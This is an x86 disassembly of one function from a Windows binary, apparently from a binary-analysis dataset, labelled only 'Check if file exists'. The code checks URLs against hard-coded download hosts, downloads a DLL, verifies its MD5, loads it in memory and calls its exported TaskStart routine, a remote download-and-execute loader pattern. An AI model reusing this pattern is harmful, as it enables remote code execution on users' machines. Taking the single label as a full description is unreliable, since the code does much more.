Function at 0x42b3a0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x51d08c
mov eax, dword fs:[0]
push eax
sub esp, 0x170
mov eax, dword [0x569338]
xor eax, esp
mov dword [esp + 0x168], eax
push ebx
push esi
push edi
mov eax, dword [0x569338]
xor eax, esp
push eax
lea eax, [esp + 0x180]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, ecx
mov esi, edx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], eax
call fcn.0042c220
push 0x1b
push str.http:__downsrf.eastday.com_
push esi
xor eax, eax
xor ebx, ebx
call fcn.0040de60
cmp eax, 0xffffffff
jne 0x42b422
push 0x1b
push str.http:__down.znyshurufa.com_
push esi
xor eax, eax
call fcn.0040de60
cmp eax, 0xffffffff
je 0x42b427
mov ebx, 1
push 0x1c
push str.https:__downsrf.eastday.com_
push esi
xor eax, eax
call fcn.0040de60
cmp eax, 0xffffffff
jne 0x42b462
push 0x1c
push str.https:__down.znyshurufa.com_
push esi
xor eax, eax
call fcn.0040de60
cmp eax, 0xffffffff
jne 0x42b462
test ebx, ebx
jne 0x42b462
push str.LoadMemDll_Url_Filter_Failed___
call fcn.00418900
jmp 0x42b83e
push 0xffffffffffffffff
push 0
lea ebx, [edi + 4]
push esi
mov ecx, ebx
call fcn.004052f0
mov ecx, dword [esp + 0x14]
push 0xffffffffffffffff
push 0
push ecx
lea ecx, [edi + 0x20]
call fcn.004052f0
mov ecx, ebx
lea ebx, [esp + 0x28]
call fcn.0042be60
mov edx, dword [esp + 0x14]
xor ebx, ebx
mov dword [esp + 0x188], ebx
mov eax, dword [edx + 0x14]
cmp eax, ebx
jbe 0x42b6c1
cmp dword [esp + 0x40], 8
mov eax, dword [esp + 0x2c]
jae 0x42b4b4
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x42b537
lea eax, [esp + 0x44]
push eax
mov ecx, esi
call fcn.0040c9d0
sub esp, 0x18
mov ecx, esp
mov dword [esp + 0x34], esp
mov byte [esp + 0x1a4], 1
push 0xffffffffffffffff
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], ebx
push ebx
lea eax, [esp + 0x4c]
mov word [ecx + 4], bx
call fcn.004020b0
lea ecx, [esp + 0x60]
call fcn.0042bcc0
cmp al, bl
jne 0x42b527
push str.DownDllToLocal_1_dll_file_Failed___
call fcn.00418900
add esp, 4
lea ecx, [esp + 0x44]
call fcn.004022c0
lea ecx, [esp + 0x28]
call fcn.004022c0
jmp 0x42b841
lea ecx, [esp + 0x44]
mov byte [esp + 0x188], bl
call fcn.004022c0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0xffffffffffffffff
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], ebx
push ebx
lea eax, [esp + 0x4c]
mov word [ecx + 4], bx
call fcn.004020b0
mov ecx, dword [esp + 0x30]
call fcn.0042b940
cmp al, bl
jne 0x42b5fb
lea ecx, [esp + 0x44]
push ecx
mov ecx, esi
call fcn.0040c9d0
sub esp, 0x18
mov ecx, esp
mov dword [esp + 0x34], esp
mov byte [esp + 0x1a4], 2
push 0xffffffffffffffff
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], ebx
push ebx
lea eax, [esp + 0x4c]
mov word [ecx + 4], bx
call fcn.004020b0
lea ecx, [esp + 0x60]
call fcn.0042bcc0
cmp al, bl
jne 0x42b5b9
push str.DownDllToLocal_2_dll_file_Failed___
jmp 0x42b508
sub esp, 0x1c
lea edx, [esp + 0x44]
mov esi, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00401ba0
mov ecx, dword [esp + 0x30]
call fcn.0042b940
cmp al, bl
jne 0x42b5e3
push str.CheckFileMD5_file_Failed___
jmp 0x42b508
lea ecx, [esp + 0x44]
mov byte [esp + 0x188], bl
call fcn.004022c0
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
cmp dword [esp + 0x40], 8
mov eax, dword [esp + 0x2c]
jae 0x42b60a
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x42b632
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push esi
call fcn.004056c0
mov ecx, edi
call fcn.0042bfd0
mov esi, eax
jmp 0x42b6ef
cmp dword [esp + 0x40], 8
mov eax, dword [esp + 0x2c]
jae 0x42b641
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x68]
push eax
call fcn.00428c20
lea esi, [esp + 0x44]
lea eax, [esp + 0x64]
mov byte [esp + 0x188], 3
call fcn.00428be0
mov edi, dword [eax + 8]
add edi, dword [eax]
lea ecx, [edi + 0xa]
push ecx
mov dword [esp + 0x18], edi
call fcn.0042c308
mov edx, dword [esp + 0x20]
add esp, 4
lea ecx, [edi + 1]
push ecx
push ebx
push eax
mov dword [edx + 0x50], eax
call fcn.00433df0
add esp, 0xc
lea esi, [esp + 0x64]
call fcn.00428b70
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + 0x50]
push eax
mov eax, esi
push eax
mov ecx, edi
call fcn.00429a10
mov edi, esi
call fcn.00428db0
mov eax, esi
mov byte [esp + 0x188], bl
call fcn.00428550
mov edi, dword [esp + 0x1c]
jmp 0x42b6eb
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0xffffffffffffffff
push ebx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push esi
mov byte [ecx + 4], bl
call fcn.004052f0
mov ecx, edi
call fcn.0042bfd0
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0x14]
cmp esi, ebx
jne 0x42b708
cmp dword [esp + 0x40], 8
jb 0x42b841
mov ecx, dword [esp + 0x2c]
push ecx
jmp 0x42b839
mov eax, dword [0x5618d4]
mov cl, byte [0x5618d8]
mov edx, dword [0x5618d0]
mov dword [esp + 0x170], eax
mov byte [esp + 0x174], cl
lea eax, [esp + 0x16c]
lea ecx, [esp + 0x64]
mov dword [esp + 0x16c], edx
call fcn.00426d30
mov ecx, dword [edi + 0x50]
mov dword [esp + 0x164], ebx
mov dword [esp + 0x168], ebx
push esi
mov edx, ecx
lea ebx, [esp + 0x68]
call fcn.004276d0
mov eax, dword [edi + 0x50]
add esp, 4
lea edx, [esp + 0x24]
push edx
add esi, 0xfffffff4
push esi
add eax, 0xc
push eax
call fcn.004fc9f0
test eax, eax
je 0x42b82d
cmp byte [eax], 0x4d
je 0x42b78a
cmp byte [eax + 1], 0x5a
jne 0x42b82d
push eax
call fcn.0042a6f0
add esp, 4
test eax, eax
mov dword [edi], eax
je 0x42b7fe
push str.TaskStart
mov ecx, eax
call fcn.0042a820
mov ecx, dword [edi]
add esp, 4
push str.TaskFree
mov dword [edi + 0x40], eax
call fcn.0042a820
mov ecx, dword [edi]
add esp, 4
push str.SetService
mov dword [edi + 0x44], eax
call fcn.0042a820
mov ecx, dword [edi]
add esp, 4
push str.SetParameter
mov dword [edi + 0x48], eax
call fcn.0042a820
mov dword [edi + 0x4c], eax
mov eax, dword [edi + 0x40]
add esp, 4
test eax, eax
je 0x42b80b
cmp dword [edi + 0x44], 0
je 0x42b80b
mov esi, edi
call fcn.0042b870
mov ecx, dword [esp + 0x1c]
mov edx, dword [ecx + 0x40]
call edx
lea ecx, [esp + 0x28]
call fcn.004022c0
mov al, 1
jmp 0x42b843
mov ecx, dword [edi + 0x44]
push ecx
push eax
push str.FreeMemDll_taskStart___X
call fcn.00418900
add esp, 0xc
call fcn.0042c220
lea ecx, [esp + 0x28]
call fcn.004022c0
jmp 0x42b841
cmp dword [esp + 0x40], 8
jb 0x42b841
mov edx, dword [esp + 0x2c]
push edx
call fcn.0042d197
add esp, 4
xor al, al
mov ecx, dword [esp + 0x180]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x168]
xor ecx, esp
call fcn.0042d085
mov esp, ebp
pop ebp
ret 4